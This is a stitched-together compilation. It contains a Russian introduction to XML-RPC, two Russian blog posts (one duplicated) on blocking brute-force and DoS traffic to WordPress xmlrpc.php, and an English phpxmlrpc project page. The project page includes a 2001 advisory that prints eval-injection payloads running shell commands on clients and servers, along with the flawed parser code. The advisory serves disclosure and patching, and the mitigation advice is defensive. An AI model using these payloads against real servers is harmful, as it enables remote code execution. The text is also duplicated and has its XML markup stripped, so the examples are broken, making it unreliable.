Введение в XML-RPC. Введение в XML-RPC Что видно в логах сервера

Введение в XML-RPC

В Сети существует много разных ресурсов, которые предоставляют пользователям определенную информацию. Имеются в виду не обычные статические страницы, а, к примеру, данные, извлекаемые из базы данных или архивов. Это может быть архив финансовых данных (курсы валют, данные котировок ценных бумаг), данные о погоде, или же более объемная информация - новости, статьи, сообщения из форумов. Такая информация может представляться посетителю страницы, к примеру, через форму, как ответ на запрос, или же каждый раз генерироваться динамически. Но трудность в том, что часто такая информация нужна не столько конечному пользователю - человеку, сколько другим системам, программам, которые эти данные будут использовать для своих расчетов или других потребностей.

Реальный пример: страница банковского сайта, на которой показываются котировки валют. Если вы заходите на страницу как обычный пользователь, через браузер, вы видите все оформление страницы, баннеры, меню и другую информацию, которая "обрамляет" истинную цель поиска - котировки валют. Если вам надо вносить эти котировки в свой интернет-магазин, то ничего другого не останется, как только вручную выделить нужные данные и через буфер обмена перенести на свой сайт. И так придется делать каждый день. Неужели нет выхода?

Если решать проблему "в лоб", то сразу напрашивается решение: программа (скрипт на сайте), которой надо данные, получает страницу от сервера как "обычный пользователь", разбирает (парсит) полученный html-код и выделяет из него нужную информацию. Это можно сделать или обычным регулярным выражением, или при помощи любого html-парсера. Сложность подхода - в его неэфективности. Во-первых, для получения небольшой порции данных (данные о валютах - это буквально десяток-другой символов) надо получать всю страницу, а это не менее нескольких десятков килобайт. Во-вторых, при любом изменении кода страницы, к примеру, дизайн поменялся или что-то еще, наш алгоритм разбора придется переделывать. Да и ресурсов это будет отбирать порядочно.

Поэтому разработчики пришли к решению - надо разработать какой-то универсальный механизм, который бы позволил прозрачно (на уровне протокола и среды передачи) и легко обмениваться данными между программами, которые могут находиться где угодно, быть написанными на любом языке и работать под управлением любой операционной системы и на любой аппаратной платформе. Такой механизм называют сейчас громкими терминами "Веб-сервисы" (web-service), "SOAP", "архитектура, ориентированная на сервисы" (service-oriented architecture). Для обмена данными используются открытые и проверенные временем стандарты - для передачи сообщений протокол HTTP (хотя можно использовать и другие протоколы - SMTP к примеру). Сами данные (в нашем примере - курсы валют) передаются упакованными в кросс-платформенный формат - в виде XML-документов. Для этого придуман специальный стандарт - SOAP.

Да, сейчас веб-сервисы, SOAP и XML у всех на слуху, их начинают активно внедрять и крупные корпорации вроде IBM и Microsoft выпускают новые продукты, призванные помочь тотальному внедрению веб-сервисов.

Но! Для нашего примера с курсами валют, которые должны передаваться с сайта банка в движок интернет-магазина такое решение будет очень сложным. Ведь только описание стандарта SOAP занимает неприличные полторы тысячи страниц, и это еще не все. Для практического использования придется изучить еще работу со сторонними библиотеками и расширениями (только начиная с PHP 5.0 в него входит библиотека для работы с SOAP), написать сотни и тысячи строк своего кода. И все это для получения нескольких букв и цифр - явно очень тяжеловесно и нерационально.

Потому существует еще один, с натяжкой можно сказать альтернативный стандарт на обмен информацией - XML-RPC. Он был разработан при участии Microsoft компанией UserLand Software Inc и предназначен для унифицированной передачи данных между приложениями через Интернет. Он может заменить SOAP при построении простых сервисов, где не надо все "корпоративные" возможности настоящих веб-сервисов.

Что же означает аббревиатура XML-RPC? RPC расшифровывается как Remote Procedure Call - удаленный вызов процедур. Это значит, что приложение (неважно, скрипт на сервере или обычное приложение на клиентском компьютере) может прозрачно использовать метод, который физически реализован и исполняется на другом компьютере. XML тут применяется для обеспечения универсального формата описания передаваемых данных. Как транспорт, для передачи сообщений применяется протокол HTTP, что позволяет беспрепятственно обмениваться данными через любые сетевые устройства - маршрутизаторы, фаерволы, прокси-сервера.

И так, для использования надо иметь: сервер XML-RPC, который предоставляет один или несколько методов, клиент XML-RPC, который может формировать корректный запрос и обрабатывать ответ сервера, а также знать необходимые для успешной работы параметры сервера - адрес, название метода и передаваемые параметры.

Вся работа с XML-RPC происходит в режиме "запрос-ответ", в этом и есть одно из отличий технологии от стандарта SOAP, где есть и понятия транзакций, и возможность делать отложенные вызовы (когда сервер сохраняет запрос и отвечает на него в определенное время в будущем). Эти дополнительные возможности больше пригодятся для мощных корпоративных сервисов, они значительно усложняют разработку и поддержку серверов, и ставят дополнительные требования к разработчикам клиентских решений.

Процедура работы с XML-RPC начинается с формирования запроса. Типичный запрос выглядит так:

POST /RPC2 HTTP/1.0
User-Agent: eshop-test/1.1.1 (FreeBSD)
Host: server.localnet.com
Content-Type: text/xml
Content-length: 172



TestMetod
Привет, XML-RPC!


В первых строках формируется стандартный заголовок HTTP запроса POST. К обязательным параметрам относятся host, тип данных (MIME-тип), который должен быть text/xml, а также длина сообщения. Также в стандарте указывается, что поле User-Agent должно быть заполнено, но может содержать произвольное значение.

Далее идет обычный заголовок XML-документа. Корневой элемент запроса - , может быть только один, и не может содержать таких узлов в качестве дочерних. Это означает, что одним запросом можно вызвать только один метод на сервере.

Строка TestMetod указывает, что мы вызываем метод с именем TestMetod. При необходимости, тут можно указывать имя программы или модуля, содержащего метод, а также путь к нему. Спецификация XML-RPC хоть и налагает некоторые ограничения на набор символов, которыми может обозначаться метод, но как их интерпретировать - полностью зависит от реализации сервера.

Далее задаются передаваемые параметры. Для этого служит секция Которая может содержать произвольное число подэлементов Которые содержать параметр, описываемый тегом . Параметры и типы данных мы рассмотрим чуть дальше. В нашем варианте методу передается один строковой параметр, заключенный в тег .

После описания всех параметров следуют закрывающие теги. Запрос и ответ в XML-RPC это обычные документы XML, поэтому все теги обязательно должны быть закрыты. А вот одиночных тегов в XML-RPC нет, хотя в стандарте XML они присутствуют.

Tеперь разберем ответ сервера. Заголовок HTTP ответа обычный, если запрос успешно обработан, то сервер возвращает ответ HTTP/1.1 200 OK. Также как в запросе, следует корректно указать MIME-тип, длину сообщения и дату формирования ответа.

Само тело ответа следующее:



true


Теперь вместо корневого тега указывается тег , в который вложены сразу результаты обработки запроса. К сожалению, в ответе не передается имя метода, поэтому вам следует его сохранить на стороне клиента, чтобы избежать путаницы, если одновременно вызываются различные методы.

Если при обработке вашего запроса произошла ошибка, то вместо В ответе будет элемент , в котором будет вложена структура, описывающая ошибку. Описание ошибки содержит числовой код ошибки и ее текстовое описание.

А теперь рассмотрим кратко типы данных в XML-RPC. Всего типов данных есть 9 - семь простых типов и 2 сложных. Каждый тип описывается своим тегом или набором тегов (для сложных типов).

Простые типы:

Целые числа - тег или ;

Логический тип - тег , может принимать как значения 0/1, так и true/false;

ASCII-строка - описывается тегом и может содержать произвольную строку символов;

Числа с плавающей точкой - тег , могут также содержать знак числа, дробная часть отделяется точкой;

Дата и время - описывается тегом и должна соответствовать формату iso8601. Для дальнейшей обработки в скриптах такой формат немного неудобен, поэтому его всегда конвертируют при отправке/получении запроса. Это может делать специальная функция в составе библиотеки, или, если такой нет, разработчик должен конвертировать дату вручную.

Последним простым типом является строка, закодированная в base64 , которая описывается тегом . Этот тип универсальный, с его помощью можно передавать любые данные между клиентом и сервером, хотя объем передаваемых данных из-за такой кодировки возрастает. Но это следствие текстовой природа протокола и формата XML в частности.

Сложные типы представлены структурами и массивами. Структура определяется корневым элементом , который может содержать произвольное количество элементов , определяющих каждый член структуры. Член структуры описывается двумя тегами: первый, , описывает имя члена, второй, , содержит значение члена (вместе с тегом, описывающим тип данных).

Массивы не имеют названий и описываются тегом , который содержит один элемент , и один или несколько дочерних элементов , где задаются конкретные данные. Массив может содержать любые другие типы в произвольном порядке, а также другие массивы, что позволяет описывать многомерные массивы. Также можно описывать массив структур. Но то, что массив не имеет имени, усложняет в некоторых случаях его использование, для передачи сложных данных их приходится многократно упаковывать в другие типы (к примеру, чтобы передать несколько массивов, можно каждый массив отдельно упаковать в структуру, а потом создать один массив из этих структур).

Конечно, кто-то скажет, что такой перечень типов данных очень беден и "не позволяет развернуться". Да, если надо передавать сложные объекты, или большие объемы данных, то лучше использовать SOAP. А для небольших, нетребовательных приложений вполне подходит и XML-RPC, более того, очень часто даже его возможностей оказывается слишком много! Если учесть легкость развертывания, очень большое количество библиотек для почти любых языков и платформ, широкую поддержку в PHP, то XML-RPC часто просто не имеет конкурентов. Хотя сразу советовать его в качестве универсального решения нельзя - в каждом конкретном случае надо решать по обстоятельствах.

С полудня субботы на моем сервере, где хостится около 25 сайтов на Wordpress, начались дикие тормоза. Так как мне удалось пережить предыдущие атаки ( , ) не замеченными, то я не сразу понял, в чем дело.

Когда разобрался, то выяснилось, что идет перебор паролей + множество запросов к XMLRPC.

В результате удалось это все отсечь, хотя и не сразу. По катом три простых приема, как этого избежать.

Эти приемы скорее всего всем известны, но я наступил на пару граблей, которых не нашел в описаниях - вдруг это кому-то сэкономит время.

1. Останавливаем перебор, плагин Limit Login Attempts - ставим именно его, так как другие защиты сильно подвешивают сервер, например, при использовании плагина Login Security Solution сервер умер через полчаса, плагин сильно грузит базу.

В настройке обязательно включите галочку «За прокси» - иначе он будет для всех определять ip вашего сервера и автоматически блокировать всех.
UPDATE, спасибо , подробности ниже в комментах - галочку «За прокси» включаем только если не работает определение при включенном «Прямое подключение»

2. Отключаем XML-RPC - плагин Disable XML-RPC (его просто активировать и всё).

3. Закрываем wp-login.php - если обращаться к сайту через ip, то плагин не срабатывает и подборщики продолжают долбить сайт. Чтобы этого избежать, в.htaccess добавляем:

Order Deny,Allow Deny from all

Файл wp-login копируем, переименовываем в любое странное имя, например poletnormalny.php и внутри файла автозаменой меняем все надписи wp-login.php на poletnormalny.php.
Все, теперь к админке можно обратиться только по вашему файлу.

После этих 3 несложных шагов сайты опять начали летать и пришло спокойствие.

Ну и вдруг интересно

Один из вариантов как посмотреть, что вас атакуют. Это можно увидеть в логах nginx (например, вот путь для Debian /var/log/nginx файл access.log).

Хакеры ищут разные пути взлома ваших сайтов. В большистве случаев, если только сайт не представляет какой то коммерческой ценности, это резвятся детишки, пытаясь сомоутвердиться.

На днях сайты моего хостинга, мягко говоря, — «прилегли». Было видно, что DOS-ят какой то из сайтов.

А видно это прежде всего из статистики использования ресурсов сервера:

Я удивился по той причине, что каких либо коммерческих ресурсов на хостинге не лежит. Чего, спрашивается, DOS-ить то? С какой целью?

Что видно на диаграмме?

На первой картинке мы наблюдаем загрузку процессора. Она измеряется в 100% на одно ядро. Где то 15.00 по гринвичу атака началась, а в районе 21.00 я попросил провайдера что то с этим сделать. Тех поддрежка начала перенос хостинга на другой мастер-сервер. Видимо, чтобы дать мне возможность использовать больше системных ресурсов. Часов в 22:00 начался переезд, проверка целостности файлов и другие процедуры.

Не хотелось на самом деле даже возиться — и я просто лег спать, ибо, «утро вечера мудренее».

Что видно в логах сервера?

Статистика на утро уже не показывала каких либо аномалий. Сайты все равно открывались через раз и далеко не сразу, т.е. атака продолжалась. То ли статистика писалась все ещё со старого сервера, то ли это уже были данные мастер-сервера…

Поэтому я перешел к изучению логов, чтобы выяснить куда «стучат».

Когда я поглядел в логи, стало ясно, что можно не беспокоиться — стучит какая то школота с одного и того же ip адреса в /xmlrpc.php одного из моих сайтов на WordPress. Скорее всего занимается брут-форсом админского пароля.

Приятного конечно же мало, так как «лежат» и все остальные сайты виртуального сервера. И самое досадное, что я не использую эти XML сервисы ни на одном из своих WP сайтов.

Блокируем XML RPC.

Самое простое, что вы можете сделать в данной ситуации — удалить из корневой папки сайта файл /xmlrpc.php . Сервер не найдя скрипа, не будет запускать PHP, тратить ресурсы памяти и время процессора. Решение простое, но не красивое. Во-первых, кто то может пользоваться возможностями RPC. К примеру, публиковать записи на сайт через один из многих Weblog клиентов. А во-вторых, файл будет восстановлен после очередного обновления WP.

Если ваш сервер работает на Apache, то можно блокировать доступ к xmlrpc.php , не удаляя самого файла. Нужно добавить следующие инструкции в начало вашего .htaccess файла в корневой директории сайта на WordPress. Это заблокирует доступ к файлу с любых адресов.

# XML-RPC DDoS PROTECTION Order Deny,Allow Deny from all

# XML-RPC DDoS PROTECTION

< FilesMatch "^(xmlrpc\.php)" >

Order Deny , Allow

Deny from all

< / FilesMatch >

В моем случае можно было заблокировать только IP-адрес источника запросов, т.к. использовался один и тот же адрес. Для блокировки только IP адреса «школодосера»:

Order Allow,Deny Deny from 85.93.93.157 Allow from All

< FilesMatch "^(xmlrpc\.php)" >

Order Allow , Deny

Deny from 85.93.93.157

Allow from All

< / FilesMatch >

Но если вы пользуетесь RPC, то можно составить белый список адресов, которые имеют доступ к скрипту xmlrpc.php.

Order Deny,Allow #add your IP adresses Allow from 127.0.0.1 Allow from XX.XX.XX.XX ... Deny from all

С полудня субботы на моем сервере, где хостится около 25 сайтов на Wordpress, начались дикие тормоза. Так как мне удалось пережить предыдущие атаки (атака 1 - ровно год назад , атака 2 - в марте) не замеченными, то я не сразу понял, в чем дело.

Когда разобрался, то выяснилось, что идет перебор паролей + множество запросов к XMLRPC.

В результате удалось это все отсечь, хотя и не сразу. По катом три простых приема, как этого избежать.

Эти приемы скорее всего всем известны, но я наступил на пару граблей, которых не нашел в описаниях - вдруг это кому-то сэкономит время.

1. Останавливаем перебор, плагин Limit Login Attempts - ставим именно его, так как другие защиты сильно подвешивают сервер, например, при использовании плагина Login Security Solution сервер умер через полчаса, плагин сильно грузит базу.

В настройке обязательно включите галочку «За прокси» - иначе он будет для всех определять ip вашего сервера и автоматически блокировать всех.
UPDATE, спасибо DarkByte , подробности ниже в комментах - галочку «За прокси» включаем только если не работает определение при включенном «Прямое подключение»

2. Отключаем XML-RPC - плагин Disable XML-RPC (его просто активировать и всё).

3. Закрываем wp-login.php - если обращаться к сайту через ip, то плагин не срабатывает и подборщики продолжают долбить сайт. Чтобы этого избежать, в.htaccess добавляем:

Order Deny,Allow Deny from all

Файл wp-login копируем, переименовываем в любое странное имя, например poletnormalny.php и внутри файла автозаменой меняем все надписи wp-login.php на poletnormalny.php.
Все, теперь к админке можно обратиться только по вашему файлу.

После этих 3 несложных шагов сайты опять начали летать и пришло спокойствие.

Ну и вдруг интересно

Один из вариантов как посмотреть, что вас атакуют. Это можно увидеть в логах nginx (например, вот путь для Debian /var/log/nginx файл access.log).
  • Support for creating both xmlrpc clients and servers
  • Fully automated or fully manual, fine-grained encoding and decoding from php values to xmlrpc
  • Support for UTF8, Latin-1 and ASCII character encodings. With the php mbstring extension enabled, even more character sets are supported.
  • Support for http compression of both requests and responses, cookies, proxies, basic auth and https, ntlm auth and keepalives with the php cURL extension
  • Optional validation of parameter types of incoming xmlrpc request
  • Support for system.listMethods, system.methodHelp, system.multicall and system.getCapabilities methods
  • Support for the and extensions to xmlrpc
  • Possibility to register existing php function or class methods as webservices, extracting value-added information from phpdoc comments
  • A web based visual debugger is included with the library

Requirements

  • PHP 5.3.0 or later; 5.5 or later recommended
  • the php "curl" extension is needed if you wish to use SSL or HTTP 1.1 to communicate with remote servers
  • the php "mbstring" extension is needed to allow reception of requests/responses in character sets other than ASCII, Latin-1, UTF-8
  • the php "xmlrpc" native extension is not required, but if it is installed, there will be no interference with the operation of this library.

Download

News

  • 1st of July, 2017
    Released lib versions 4.2.0 and 3.1.0.
    The release notes are available on Github
  • 20th of January, 2016
    Released lib version 4.0.0.
    This is the first time - ever - that the API sees major changes, doing away with the past and starts a transition to modern-day php.
    Namespaces have been introduced, and the default character set in use if UTF-8; support for mbstring has been added, and much more.
    For a complete list of changes, head on to on Github
  • 19th of April, 2015
    Released lib version 3.0.1.
  • 15th of June, 2014
    Released lib version 3.0.0.
  • 15th of December, 2013
    The project moved to GitHub

    Online xmlrpc debugger

    A demo xmlrpc debugger application, built on top of this library, is active at the address http://gggeek.altervista.org/sw/xmlrpc/debugger/ . You can use the debugger to e.g. query the SF demo server, or debug your own personal xmlrpc server, if it is accessible on the net.

    Development

    Description Status - updated 2009/07/26
    Update documentation for all features added since version 2 Slowly progressing...
    Add the possibility to choose formatting of the xml messages Similar to what the php native xmlrpc extension does
    Fix warnings emitted when running with PHP 5 in STRICT mode Might have already been done in version 3.0, abandoning php 4 compat...
    Expand automatic php function to xmlrpc method wrapper to take advantage of exception handling and return xmlrpc error responses
    Expand automatic stub generator for automatically converting php functions to xmlrpc methods for PHP <= 5.0.2 look at AMFPHP code on how to do it.
    Many enhancements in version 2.1
    Now that the server can automatically register php functions there is less need for it...
    Better support for mbstring when it"s enabled Should make e.g. charset encoding guessing faster
    Improve support for "version 1" cookies
    Add a possibility to use instead of the native error codes
    PEAR compatibility: add synonyms for functions existing with different names in the PEAR version of the lib
    Add support for the xmlrpc extension
    Add to the debugger the capability to launch a complete set of validator1 tests
    Examine usability of WSDL for describing exposed services and translation to/from system.methodSignature and system.describeMethods Some problems exist in using an XSD to strictly define xmlrpc. Relax NG is a definitely better alternative, but there is little support in other toolkits for using it in conjunction with a WSDL file...
    Support http redirects (302)
    Add to sf.net a small database, so that we can implement a validator page that logs incoming users, such as is present on the xmlrpc.com site
    Add to benchmark suite the capability to upload results to sf.net
    Write a php extension that will accelerate the most heavily used functions of the lib See how adodb did it for an example
    Test speed/memory gains using simplexml and relaxng instead of hand parsing of xml

    Security

    The third security breach: august 2005

    This was a further and proactive response to the second security breach below. All use of eval() has been removed since it was still a potential exploit.

    When the library was originally written, the versions of php available at the time did not include call_user_func(), et al. So it was written within those constraints to use eval() in two of the functions called by the xml parser. Due to this usage, the server class also used eval() since it had to parse xml using the same functions.

    These handler functions, and the array used to maintain the content of the original message, have been rewritten to construct php values instead of building php code for evaluation. This should remove any potential for code execution.

    The second security breach: july 2005

    The security vulnerability discovered by James Bercegay of GulfTech Security Research on the the 27th of June, 2005, has caused quite a stir. It has made it to the front page of Salshdot, has been mentioned on Netcraft, LWN and many other sites.

    Detailed instructions on building exploit code have been released on the internet, and many web hosting administrators are left wondering what is the best defense plan, and what are the real risks. Here are some answers.

    Scope of the problem

    • the bug affects the two libraries known as PEAR::XMLRPC and PHPXMLRMPC.
      It DOES NOT affect the xmlrpc implementation which is built-in in php and enabled at compile time with the "--with-xmlrpc" option (on Unix, on windows generally it is enabled/disabled by changing the appropriate line in php.ini)
    • the bug (execution of php-code injected by remote hosts) resides exclusively in the file xmlrpc.inc in the phpxmlrpc distribution and RPC.php in the PEAR distribution
    • both PEAR::XMLRPC and PHPXMLRMPC have released updated versions of the library that fix the problem
    • both libraries have been used in a large number of php applications (see the incomplete list above).
      Since the whole lib consists basically of 2 very simple files, everybody tends to patch them according to its own tastes/needs and bundle them when distributing their app.
      Most high-profile projects have been extremely quick in releasing new versions of their respective apps, but it will take a much longer time for every single user to update his system.
      It has to be said that many applications had been shipping until recently with extremely outdated versions of the phpxmlrpc library included; a first injection bug had been fixed in 2001 without anyone apparently taking notice (...)

      This makes it unfortunately a lot harder for sysadmins to find an easy cure for the problem: there is a great chance that on public hosting servers the aforementioned files will be found in many different directories and in many different versions.

    How the vulnerability is triggered

    • to trigger the bug an attacker needs to have some specially crafted xml evaluated in the creation process of an xmlrpcval object. Xmlrpcval objects are created when the server script decodes xmlrpc requests or when some php scripts acts as an xmlrpc client and decodes a response sent by a server.
      The server script is application specific, and it is often named server.php (but any project- or user-chosen variant is possible), and it has to include both xmlrpc.inc and xmlrpcs.inc files (for the pear version, server.php is the equivalent of xmlrpcs.inc).
    • Only including xmlrpc.inc and xmlrpcs.inc in php scripts is (afaik...) completely safe, as well as calling them directly via http requests, since only definition of functions, variables and classes is carried out in those two files, i.e. no immediate code execution.
    • The server.php and discuss.php files distributed with full the phpxmlrpc lib actually do implement a live xmlrpc server, so you might consider blocking access to them or even better removing them if you find them deployed on production servers (off the top of my mind I can conjure some kind of attack involving a second php app suffering of a takeover-php-file-inclusion breach to pull them in + exploit the lib known bug)

    Means of protection

    • Give your web server process as little system privileges as you can. On Unix this generally involves running Apache as user nobody and/or in a jailrooted/chrooted environment. Since the PHP engine runs under the same user as the web server, this is the first line of defense: any php code injected by an attacker will run on the server as a least privileged user, and all damage it could do will be limited to disrupting the php application itself
    • Run php in safe mode. If you are a public host and are not doing this, chances are your server has been rooted anyway. This prevents the php scripts from using any function you deem to be unsafe, such as system() or eval()
    • The hard block: find all the existing phpxmlrpc files (xmlrpc.inc and xmlrpcs.inc) and disable them (chmod 0) across the system.
      This may of course prevent some user applications from working so you should inform your users at the time you do it.
    • The soft block: replace all copies of existing phpxmlrpc files (xmlrpc.inc and xmlrpcs.inc) with the ones coming from version 1.1.1.
      This method is unfortunately not 100% guaranteed to keep all apps working. Some internals of the lib objects changed from version 0.9 to 1.0 to 1.1 (e.g. the representation of http headers stored inside an xmlrpcresp object), and if code you have deployed on your servers subclasses them, it might find itself in trouble. The xml sent over-the-wire has changed too with respect to some older versions of the lib (in particular: version 1.0.99.2 wrongly encoded chars outside the ASCII range as html entities, whereas now they are encoded as xml charset entities). A couple of new error response codes have been added, too. Having said that, you should be 95% safe running that script and sit there waiting for users to start yelling something is broken...
    • the PHP PEAR library is upgradeable with a one-line command, so that"s not really a huge problem:
      pear upgrade XML_RPC and to tell whether it"s been upgraded (1.3.1 or later is OK, the latest as of now is 1.3.2):
      pear list | grep RPC

    Some extra considerations

    The file xmlrpcs.inc has been patched too in release 1.1.1 to provide a better user experience. In more detail: sending specially crafted malformed xml to a server would cause the php script to emit a php error instead of returning an appropriate xml response.
    According to some, this actually entails a "path disclosure security breach" (i.e. the php error message displayed usually contains sensitive information about filesystem paths), but then any single PHP script suffers of the same security problem if the sysadmin is running production servers with the ini directive display_errors=On.
    I also know for a fact that there are many places in xmlrpc.inc where calling a function with an unexpected parameter will generate a php warning or error, and I am not planning to implement strict parameter check for every single function anytime soon - if you aim for that, imho, you might as well code in java in the first place.

    Is this the end of the world?

    I hope not.
    The reason is there are tens of PHP applications out there that suffer from code injection exploits. Just take a look at the security track of bulletin boards... and yet a lot of people still think PHP is a good choice for web development.
    Remember: security is a process, not a state that can be reached.

    The first security breach: september 2001

    I received this advisory from Dan Libby. With his permission it is reproduced here. Note that this exploit is fixed in revisions 1.01 and greater of XML-RPC for PHP. -- Edd Dumbill Tue Sep 24 2001 =============== PHP Security Hole: potential XML-RPC exploit ============================================ Abstract: Using the latest release of Useful Inc"s php xmlrpc library, version 1.0, it is possible for an attacker to structure the xml in such a way as to trick the xml-rpc library into executing php code on a web server. I was able to execute arbitrary php code, and with php"s safe-mode turned off, system commands. An attacker could easily use this as a gateway for launching viruses. Details: I demonstrated the problem by modifying the server.php example script included with the xmlrpc distribution and then calling it via the client.php script, also part of the distribution. I bypassed the standard server code, and simply echo"d responses back to the client. I was able to get the client to execute arbitrary php code. I then restored the server.php sample to its original state and used telnet to send a modified request. I was also able to make code execute on the server, albeit requiring a slightly different syntax. The attack centers around use of php"s eval() function. Since I knew that the xml-rpc library uses eval to construct its data structures from xml input, it was just a matter of structuring the input xml in such a manner that it: a) is not escaped before being passed to eval b) does not generate a php syntax error Normally, all non numeric data is escaped by the library before being passed to eval. However, it turns out that if you send a tag, followed by an unexpected tag, such as , the escaping code will be bypassed and "raw" data will be evaluated instead. Exploiting the client: Here is a typical xml-rpc response: hello world When such a response is eval"ed, it looks like: new xmlrpcval("hello world", "string") Here is an xml-rpc response that will execute php code to echo "

    hello world

    " on the client side: ", "string"); echo "

    hello world

    "; \$waste = array("
    In this case, the string that will be eval"ed is: new xmlrpcval("", "string"); echo "

    hello world

    "; $waste = array("", "string") It is possible to replace everything between "string"); and \$waste with arbitrary code of just about any length. Finally, here"s one that will print the contents of the current directory: ", "string"); echo "

    "; echo `ls -al`; echo "

    "; exit; \$waste = array("
    Exploiting the server: The server exploit is just about the same as the client, except that the server is using a different eval command, and thus it requires slightly different begin and ending syntax to avoid php syntax errors. Here is the same code as above, but it will work against a server. system.listMethods ", "string")); echo "

    if you see a directory listing, I just executed php and system code via xml-rpc.

    "; echo "now I will attempt a directory listing using ls -al:\n"; echo `ls -al`; echo ""; echo "I could just have easily invoked rm -rf, or written a program to disk and executed it (eg, a virus) or read some files. Have a nice day.

    "; exit; $waste = array(array("
    Problem Area: in xmlrpc.inc, there is a function called xmlrpc_cd(), which is called by the xml parser to handle character data. function xmlrpc_cd($parser, $data) { global $_xh, $xmlrpc_backslash, $xmlrpc_twoslash; //if (ereg("^[\n\r \t]+$", $data)) return; // print "adding [${data}]\n"; if ($_xh[$parser]["lv"]==1) { $_xh[$parser]["qt"]=1; $_xh[$parser]["lv"]=2; } if ($_xh[$parser]["qt"]) { // quoted string $_xh[$parser]["ac"].=str_replace("\$", "\\$", str_replace(""", "\"", str_replace(chr(92),$xmlrpc_backslash, $data))); } else $_xh[$parser]["ac"].=$data; } It is the last else that is causing data to be added without escaping. It is very dangerous to have this. This else seems to be intended for numeric data, and great pains are taken to set and unset the "qt" (quote) variable which turns escaping on and off. However, it is not immediately apparent to me why numeric data should not be similarly escaped, and the if/else removed, such that there is zero chance for this type of exploit.